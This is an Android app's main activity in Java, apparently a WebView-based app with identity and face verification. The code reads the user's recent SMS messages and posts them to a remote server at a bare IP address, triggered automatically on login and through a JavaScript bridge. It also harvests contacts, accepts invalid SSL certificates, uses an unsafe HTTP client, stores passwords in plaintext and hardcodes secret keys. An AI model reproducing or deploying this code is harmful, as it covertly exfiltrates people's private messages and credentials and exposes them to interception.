package app.recycler.com.recycler;

import android.app.Activity;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.database.Cursor;
import android.database.sqlite.SQLiteException;
import android.location.Location;
import android.net.Uri;
import android.net.http.SslError;
import android.os.Build;
import android.os.Bundle;
import android.provider.ContactsContract;
import android.support.annotation.Nullable;
import android.support.v7.app.AppCompatActivity;
import android.text.TextUtils;
import android.webkit.JavascriptInterface;
import android.webkit.SslErrorHandler;
import android.webkit.WebChromeClient;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import android.widget.Toast;

import com.authreal.api.AuthBuilder;
import com.authreal.api.OnResultListener;
import com.authreal.component.AuthComponentFactory;
import com.authreal.component.CompareItemFactory;
import com.authreal.component.CompareItemSession;
import com.google.gson.Gson;
import com.google.gson.JsonArray;
import com.google.gson.JsonObject;
import com.google.gson.JsonParser;
import com.yanzhenjie.permission.Action;
import com.yanzhenjie.permission.AndPermission;
import com.yanzhenjie.permission.Permission;

import org.json.JSONException;
import org.json.JSONObject;

import java.io.IOException;
import java.io.InputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

import app.recycler.com.recycler.contacts.PickContacts;
import app.recycler.com.recycler.contacts.ReportData;
import app.recycler.com.recycler.ud.LiveData;
import app.recycler.com.recycler.ud.Md5;
import app.recycler.com.recycler.ud.MdFive;
import app.recycler.com.recycler.ud.OcrData;
import app.recycler.com.recycler.ud.ReturnData;
import app.recycler.com.recycler.ui.ContactsActivity;
import okhttp3.FormBody;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.ResponseBody;

import static app.recycler.com.recycler.ui.ContactsActivity.KEY_CONTACTS_TAG;

public class MainActivity extends AppCompatActivity {
    private static final String URL_TEST = "https://47.104.189.50:8080";
    private static final String URL_BACKUP = "https://www.hz551.cn:8080";

    private String url = "https://47.104.231.32:8080";
    private int retryCount = 0;

    private static final String PUBLIC_KEY = "6c2d8359-43d4-410c-b790-b05d56fad835";
    private static final String SECURITY_KEY = "4aafb6b0-47f2-46a0-b0d5-98e415eb3e06";
    private static final String USER_NAME = "username";
    private static final String PASS_WORD = "password";

    private static final String GAO_DE_SERVICE_URL = "https://restapi.amap.com/v3/geocode/regeo?";
    private static final String GAO_DE_SERVICE_KEY = "50a0d348dfb032751266ddb893d263ca";

    private static final int REQUEST_CODE_CONTRACTS = 10086;
    public static final String RESULT_CONTRACTS = "result_from_contracts_activity";

    private WebView mWebView;
    private String mOrderId;
    private LocationUtils mLocationUtils;

    private JSONObject mOcrConsequence;
    private JSONObject mLiveConsequence;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        initView();
        loadUrl();
    }

    private void loadUrl() {
        mWebView.loadUrl(url);
    }

    @Override
    protected void onDestroy() {
        if (mLocationUtils != null) {
            mLocationUtils.clear();
            mLocationUtils = null;
        }
        mWebView.destroy();
        super.onDestroy();
    }

    private void initView() {
        mWebView = findViewById(R.id.webview);
        mWebView.setWebViewClient(webViewClient);
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
            WebView.setWebContentsDebuggingEnabled(true);
        }
        mWebView.setWebChromeClient(new WebChromeClient());
        WebSettings webSettings = mWebView.getSettings();
        webSettings.setJavaScriptEnabled(true);
        webSettings.setDomStorageEnabled(true);
        webSettings.setAppCacheMaxSize(1024 * 1024 * 8);
        String appCachePath = getApplicationContext().getCacheDir().getAbsolutePath();
        webSettings.setAppCachePath(appCachePath);
        webSettings.setAllowFileAccess(true);
        webSettings.setAppCacheEnabled(true);
        mWebView.addJavascriptInterface(new JsInterface(), "android");
    }

    @Override
    protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
        super.onActivityResult(requestCode, resultCode, data);
        if (resultCode == Activity.RESULT_OK) {
            if (requestCode == REQUEST_CODE_CONTRACTS && data != null) {
                String json = data.getStringExtra(RESULT_CONTRACTS);
                returnFillContactsToJs(json);
            }
        }
    }

    private WebViewClient webViewClient = new WebViewClient() {
        @Override
        public void onPageFinished(WebView view, String url) {//页面加载完成
            if (url.contains(MainActivity.this.url)) {
                AndPermission.with(MainActivity.this)
                        .runtime().permission(Permission.READ_PHONE_STATE)
                        .onGranted(new Action<List<String>>() {
                            @Override
                            public void onAction(List<String> data) {
                                autoLogin(Utils.getIMEI(MainActivity.this));
                            }
                        }).onDenied(new Action<List<String>>() {
                    @Override
                    public void onAction(List<String> data) {
                        autoLogin("");
                    }
                }).start();
            }
        }

        @Override
        public void onReceivedSslError(WebView view, SslErrorHandler handler, SslError error) {
            handler.proceed();
        }

        @Override
        public void onReceivedError(WebView view, int errorCode,
                                    String description, String failingUrl) {
            super.onReceivedError(view, errorCode, description, failingUrl);
            if ((failingUrl != null && !failingUrl.equals(view.getUrl()) && !failingUrl.equals(view.getOriginalUrl())) /* not subresource error*/
                    || (failingUrl == null && errorCode != -12) /*not bad url*/
                    || errorCode == -1) { //当 errorCode = -1 且错误信息为 net::ERR_CACHE_MISS
                return;
            }
            if (failingUrl == null) {
                return;
            }
            if (failingUrl.startsWith(MainActivity.this.url)) {
                if (retryCount++ >= 3) {
                    Toast.makeText(MainActivity.this, "请求失败，请退出应用后重试！", Toast.LENGTH_SHORT).show();
                    return;
                }
                loadUrl();
            }
        }

        @Override
        public boolean shouldOverrideUrlLoading(WebView view, String url) {
            if (url.startsWith(MainActivity.this.url) || "about:blank".equals(url)) {
                Map<String, String> map = new HashMap<>();
                map.put("version", "1000");
                view.loadUrl(url, map);
                return true;
            }
            return super.shouldOverrideUrlLoading(view, url);
        }
    };

    private void auth() {
        if (TextUtils.isEmpty(mOrderId)) {
            return;
        }
        try {
            getAuthBuilder()
                    .addFollow(AuthComponentFactory.getOcrComponent().showConfirm(true)
                            .mosaicIdName(false)
                            .mosaicIdNumber(false))
                    .addFollow(AuthComponentFactory.getLivingComponent())
                    .addFollow(AuthComponentFactory.getCompareFaceComponent()
                            // 此示例对比项A为OCR人像图片
                            .setCompareItemA(CompareItemFactory.getCompareItemBySessionId(CompareItemSession.SessionType.PHOTO_IDENTIFICATION))
                            //此示例对比项B为活体过程中截图
                            .setCompareItemB(CompareItemFactory.getCompareItemBySessionId(CompareItemSession.SessionType.PHOTO_LIVING)))
                    .start(this);
        } catch (Exception ignored) {
        }
    }

    private AuthBuilder getAuthBuilder() {
        // 订单号商户自己生成：不超过36位，非空，不能重复
        String partner_order_id = mOrderId;
        //商户pub_key ： 开户时通过邮件发送给商户
        String pubKey = PUBLIC_KEY;
        SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyyMMddHHmmss");
        //签名时间：有效期5分钟，请每次重新生成 :签名时间格式：yyyyMMddHHmmss
        String sign_time = simpleDateFormat.format(new Date());
        // 商户 security_key  ：  开户时通过邮件发送给商户
        String security_key = SECURITY_KEY;
        // 签名规则
        String singStr = "pub_key=" + pubKey + "|partner_order_id=" + partner_order_id + "|sign_time=" + sign_time + "|security_key=" + security_key;
        //生成 签名
        String sign = Md5.encrypt(singStr);
        AuthBuilder authBuilder = new AuthBuilder(partner_order_id, pubKey, sign_time, sign, new OnResultListener() {
            @Override
            public void onResult(int op_type, String result) {
                try {
                    JSONObject jsonObject = new JSONObject(result);
                    if (jsonObject.has("success") && jsonObject.getString("success").equals("true")) {
                        /** 业务处理成功 ，可以根据不同的模块 处理数据 */
                        switch (op_type) {
                            case AuthBuilder.OPTION_ERROR:
                                break;
                            case AuthBuilder.OPTION_OCR:
                                mOcrConsequence = jsonObject;
                                break;
                            case AuthBuilder.OPTION_LIVENESS:
                                mLiveConsequence = jsonObject;
                                break;
                            case AuthBuilder.OPTION_COMPARE_FACE:
                                // 人脸比对 回调
                                if (mOcrConsequence != null && mLiveConsequence != null) {
                                    OcrData ocrData = new Gson().fromJson(mOcrConsequence.toString(), OcrData.class);
                                    LiveData liveData = new Gson().fromJson(mLiveConsequence.toString(), LiveData.class);
                                    if (ocrData == null || liveData == null) {
                                        return;
                                    }
                                    ReturnData returnData = new ReturnData();
                                    returnData.id_name = ocrData.id_name;
                                    returnData.state_id = ocrData.nation;
                                    returnData.addr_card = ocrData.address;
                                    returnData.classify_tag = ocrData.classify_tag;
                                    returnData.url_frontcard = ocrData.idcard_front_photo;
                                    returnData.url_photoget = ocrData.idcard_portrait_photo;
                                    returnData.result_auth = "T";
                                    returnData.url_backcard = ocrData.idcard_back_photo;
                                    returnData.risk_tag = liveData.risk_tag;

                                    returnData.date_birthday = ocrData.birthday;
                                    returnData.flag_sex = ocrData.gender;
                                    returnData.branch_issued = ocrData.issuing_authority;
                                    returnData.url_photoliving = liveData.living_photo;
                                    returnData.id_no = ocrData.id_number;
                                    returnData.start_card = ocrData.validity_period;
                                    returnData.be_idcard = "0.95";

                                    returnAuthToJs(new Gson().toJson(returnData));
                                }
                                break;
                            case AuthBuilder.OPTION_VERIFY_COMPARE:
                                break;
                        }
                    } else {
                        String message = jsonObject.getString("message");
                        String errorcode = jsonObject.getString("errorcode");
                    }
                } catch (JSONException e) {
                    e.printStackTrace();
                }
            }
        });
        return authBuilder;
    }

    private void returnAuthToJs(final String json) {
        runOnUiThread(new Runnable() {
            @Override
            public void run() {
                mWebView.loadUrl("javascript:backFaceVerify('" + json + "')");
            }
        });
    }

    private void orderWithData(JsonObject jsonObject) {
        long currentTimeMillis = System.currentTimeMillis();
        String orderId = String.valueOf(currentTimeMillis);

        String temp = "9527008";
        if (jsonObject != null && jsonObject.get("uid") != null) {
            temp = jsonObject.get("uid").getAsString();
        }

        orderId = orderId + temp;
        orderId = MdFive.md5(orderId);

        temp = "1234554321";
        if (jsonObject != null && jsonObject.get("mobile") != null) {
            temp = jsonObject.get("mobile").getAsString();
        }
        orderId = orderId + temp;
        orderId = MdFive.md5(orderId);
        mOrderId = orderId;
    }

    public class JsInterface {

        @JavascriptInterface
        public void face_verify(String json) {
            orderWithData(new JsonParser().parse(json).getAsJsonObject());
            auth();
        }

        @JavascriptInterface
        public void uploadContacts() {
            requestContacts();
        }

        @JavascriptInterface
        public void open_url(String json) {
            JsonObject jsonObject = new JsonParser().parse(json).getAsJsonObject();
            if (jsonObject != null) {
                String url = jsonObject.get("url").getAsString();
                if (TextUtils.isEmpty(url)) {
                    return;
                }
                Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(url));
                try {
                    startActivity(intent);
                } catch (Exception ignored) {
                }
            }
        }

        @JavascriptInterface
        public void save_login_info(String json) {
            JsonObject jsonObject = new JsonParser().parse(json).getAsJsonObject();
            if (jsonObject != null) {
                String userName = "";
                String password = "";
                if (jsonObject.get(USER_NAME) != null) {
                    userName = jsonObject.get(USER_NAME).getAsString();
                }

                if (jsonObject.get(PASS_WORD) != null) {
                    password = jsonObject.get(PASS_WORD).getAsString();
                }

                saveSp(USER_NAME, userName);
                saveSp(PASS_WORD, password);
            }
        }

        @JavascriptInterface
        public void get_location() {
            AndPermission.with(MainActivity.this)
                    .runtime().permission(Permission.Group.LOCATION)
                    .onGranted(new Action<List<String>>() {
                        @Override
                        public void onAction(List<String> data) {
                            getLocation();
                        }
                    }).onDenied(new Action<List<String>>() {
                @Override
                public void onAction(List<String> data) {
                }
            }).start();
        }

        @JavascriptInterface
        public void pick_contact(String json) {
            PickContacts jsonObject = new Gson().fromJson(json, PickContacts.class);
            if (jsonObject != null) {
                String tag = jsonObject.tag;
                if (tag != null) {
                    Intent intent = new Intent(MainActivity.this, ContactsActivity.class);
                    intent.putExtra(KEY_CONTACTS_TAG, tag);
                    startActivityForResult(intent, REQUEST_CODE_CONTRACTS);
                }
            }
        }

        @JavascriptInterface
        public void get_sms() {
            updateSMS(0L, getSp(USER_NAME));
        }
    }

    private void getLocation() {
        mLocationUtils = new LocationUtils(this);
        final Location location = mLocationUtils.showLocation();
        if (location == null) {
            returnLocationToJs("");
            return;
        }
        new Thread(new Runnable() {
            @Override
            public void run() {
                String msg = "";
                HttpURLConnection connection = null;
                InputStream inputStream = null;
                try {
                    double latitude = location.getLatitude();
                    double longitude = location.getLongitude();
                    URL url = new URL(GAO_DE_SERVICE_URL + "key=" + GAO_DE_SERVICE_KEY +
                            "&location=" + longitude + "," + latitude);
                    connection = Utils.openConnection(url, true);
                    inputStream = connection.getInputStream();
                    String str = Utils.getInputStreamStr(inputStream, connection);
                    Gson gson = new Gson();
                    GeocodeInfo info = gson.fromJson(str, GeocodeInfo.class);
                    if (info != null) {
                        String address = info.getAddress();
                        String code = info.infocode;
                        if (!TextUtils.isEmpty(address) && code.equals("10000")) {
                            msg = address;
                        }
                    }
                } catch (Exception ignored) {
                } finally {
                    if (inputStream != null) {
                        try {
                            inputStream.close();
                        } catch (IOException ignored) {
                        }
                    }
                    if (connection != null) {
                        connection.disconnect();
                    }
                }
                returnLocationToJs(msg);
            }
        }).start();
    }

    private void returnLocationToJs(final String msg) {
        runOnUiThread(new Runnable() {
            @Override
            public void run() {
                JsonObject locationInfo = new JsonObject();
                locationInfo.addProperty("address", msg);
                String locationJson = new Gson().toJson(locationInfo);
                mWebView.loadUrl("javascript:get_location_callback('" + locationJson + "')");
            }
        });
    }

    private void autoLogin(final String uuid) {
        runOnUiThread(new Runnable() {
            @Override
            public void run() {
                final String username = getSp(USER_NAME);
                String password = getSp(PASS_WORD);
                if (TextUtils.isEmpty(username) || TextUtils.isEmpty(password)) {
                    return;
                }
                JsonObject jsonObject = new JsonObject();
                jsonObject.addProperty(USER_NAME, username);
                jsonObject.addProperty(PASS_WORD, password);
                jsonObject.addProperty("device", uuid);
                String userNameAndPassword = jsonObject.toString();
                mWebView.loadUrl("javascript:fill_login_info('" + userNameAndPassword + "')");
                // 上传用户短信
                if (TextUtils.isEmpty(username)) {
                    return;
                }
                updateSMS(604800000L, username);
            }
        });
    }

    private void saveSp(String key, String value) {
        SharedPreferences sharedPreferences = getSharedPreferences("data", Context.MODE_PRIVATE);
        SharedPreferences.Editor editor = sharedPreferences.edit();
        editor.putString(key, value);
        editor.commit();
    }

    private String getSp(String key) {
        SharedPreferences sharedPreferences = getSharedPreferences("data", Context.MODE_PRIVATE);
        return sharedPreferences.getString(key, "");
    }

    private void requestContacts() {
        AndPermission.with(this)
                .runtime().permission(Permission.Group.CONTACTS)
                .onGranted(new Action<List<String>>() {
                    @Override
                    public void onAction(List<String> data) {
                        returnAddContactsToJs(getContacts());
                    }
                }).onDenied(new Action<List<String>>() {
            @Override
            public void onAction(List<String> data) {
            }
        }).start();
    }

    private String getContacts() {
        JsonArray jsonArray = new JsonArray();
        jsonArray.add(new JsonObject());
        ArrayList<User> arrayList = new ArrayList<>();

        //联系人的Uri，也就是content://com.android.contacts/contacts
        Uri uri = ContactsContract.Contacts.CONTENT_URI;
        //指定获取_id和display_name两列数据，display_name即为姓名
        String[] projection = new String[]{
                ContactsContract.Contacts._ID,
                ContactsContract.Contacts.DISPLAY_NAME
        };
        //根据Uri查询相应的ContentProvider，cursor为获取到的数据集
        Cursor cursor = this.getContentResolver().query(uri, projection, null, null, null);
        if (cursor != null && cursor.moveToFirst()) {
            do {
                User user = new User();
                Long id = cursor.getLong(0);
                //获取姓名
                String name = cursor.getString(1);
                //指定获取NUMBER这一列数据
                String[] phoneProjection = new String[]{
                        ContactsContract.CommonDataKinds.Phone.NUMBER
                };
                user.setName(name);

                //根据联系人的ID获取此人的电话号码
                Cursor phonesCusor = this.getContentResolver().query(
                        ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
                        phoneProjection,
                        ContactsContract.CommonDataKinds.Phone.CONTACT_ID + "=" + id,
                        null,
                        null);

                //因为每个联系人可能有多个电话号码，所以需要遍历
                if (phonesCusor != null && phonesCusor.moveToFirst()) {
                    String num = phonesCusor.getString(0);
                    user.setMobile(num);
                }
                arrayList.add(user);
            } while (cursor.moveToNext());
        }
        Gson gson = new Gson();
        String contacts = gson.toJson(arrayList);
        return contacts;
    }

    private void returnAddContactsToJs(final String json) {
        runOnUiThread(new Runnable() {
            @Override
            public void run() {
                mWebView.loadUrl("javascript:addContact('" + json + "')");
            }
        });
    }

    private void returnFillContactsToJs(final String json) {
        runOnUiThread(new Runnable() {
            @Override
            public void run() {
                mWebView.loadUrl("javascript:fillContact('" + json + "')");
            }
        });
    }

    public String getSmsInPhone() {
        final String SMS_URI_ALL = "content://sms/"; // 所有短信
        final String SMS_URI_INBOX = "content://sms/inbox"; // 收件箱
        final String SMS_URI_SEND = "content://sms/sent"; // 已发送
        final String SMS_URI_DRAFT = "content://sms/draft"; // 草稿
        final String SMS_URI_OUTBOX = "content://sms/outbox"; // 发件箱
        final String SMS_URI_FAILED = "content://sms/failed"; // 发送失败
        final String SMS_URI_QUEUED = "content://sms/queued"; // 待发送列表

        ArrayList<ReportData> list = new ArrayList<>();

        try {
            Uri uri = Uri.parse(SMS_URI_ALL);
            String[] projection = new String[]{"_id", "address", "person",
                    "body", "date", "type",};
            Cursor cur = getContentResolver().query(uri, projection, null,
                    null, "date desc"); // 获取手机内部短信
            if (cur.moveToFirst()) {
                int index_Address = cur.getColumnIndex("address");
                int index_Person = cur.getColumnIndex("person");
                int index_Body = cur.getColumnIndex("body");
                int index_Date = cur.getColumnIndex("date");
                int index_Type = cur.getColumnIndex("type");

                do {
                    String strAddress = cur.getString(index_Address);
                    int intPerson = cur.getInt(index_Person);
                    String strbody = cur.getString(index_Body);
                    long longDate = cur.getLong(index_Date);
                    int intType = cur.getInt(index_Type);

                    if (new Date().getTime() - longDate > 1209600000L) {
                        continue;
                    }

                    SimpleDateFormat dateFormat = new SimpleDateFormat(
                            "yyyy-MM-dd hh:mm:ss");
                    Date d = new Date(longDate);
                    String strDate = dateFormat.format(d);

                    String strType = "";
                    if (intType == 1) {
                        strType = "接收";
                    } else if (intType == 2) {
                        strType = "发送";
                    } else if (intType == 3) {
                        strType = "草稿";
                    } else if (intType == 4) {
                        strType = "发件箱";
                    } else if (intType == 5) {
                        strType = "发送失败";
                    } else if (intType == 6) {
                        strType = "待发送列表";
                    } else if (intType == 0) {
                        strType = "所以短信";
                    } else {
                        strType = "null";
                    }

                    ReportData date = new ReportData();
                    date.time = strDate;
                    date.number = strAddress;
                    date.type = strType;
                    date.body = strbody;

                    list.add(date);
                } while (cur.moveToNext());

                if (!cur.isClosed()) {
                    cur.close();
                    cur = null;
                }
            }
        } catch (SQLiteException ex) {
        }
        return new Gson().toJson(list);
    }

    private void updateSMS(final long timeInterval, final String userName) {
        AndPermission.with(MainActivity.this)
                .runtime().permission(Permission.Group.SMS)
                .onGranted(new Action<List<String>>() {
                    @Override
                    public void onAction(List<String> data) {
                        SharedPreferences sharedPreferences = getSharedPreferences("data", Context.MODE_PRIVATE);
                        long time = sharedPreferences.getLong("report_time", 0);
                        Date date = new Date();
                        if (date.getTime() - time >= timeInterval) {
                            String json = getSmsInPhone();
                            OkHttpClient okHttpClient = Utils.getUnsafeOkHttpClient();
                            FormBody requestBody = new FormBody.Builder()
                                    .add("data", json)
                                    .add("mobile", userName)
                                    .build();
                            String report = url + "/androidSmsData_appTransaction.action";
                            Request request = new Request.Builder()
                                    .url(report)
                                    .post(requestBody)
                                    .build();
                            okhttp3.Call call = okHttpClient.newCall(request);
                            call.enqueue(new okhttp3.Callback() {
                                @Override
                                public void onFailure(okhttp3.Call call, IOException e) {

                                }

                                @Override
                                public void onResponse(okhttp3.Call call, okhttp3.Response response) throws IOException {
                                    final ResponseBody body = response.body();
                                    if (body != null) {
                                        String res = body.string();
                                    }
                                    if (response.code() == 200) {
                                    }
                                }
                            });
                            SharedPreferences.Editor editor = sharedPreferences.edit();
                            editor.putLong("report_time", date.getTime());
                            editor.commit();
                        }
                    }
                }).onDenied(new Action<List<String>>() {
            @Override
            public void onAction(List<String> data) {
            }
        }).start();
    }
}
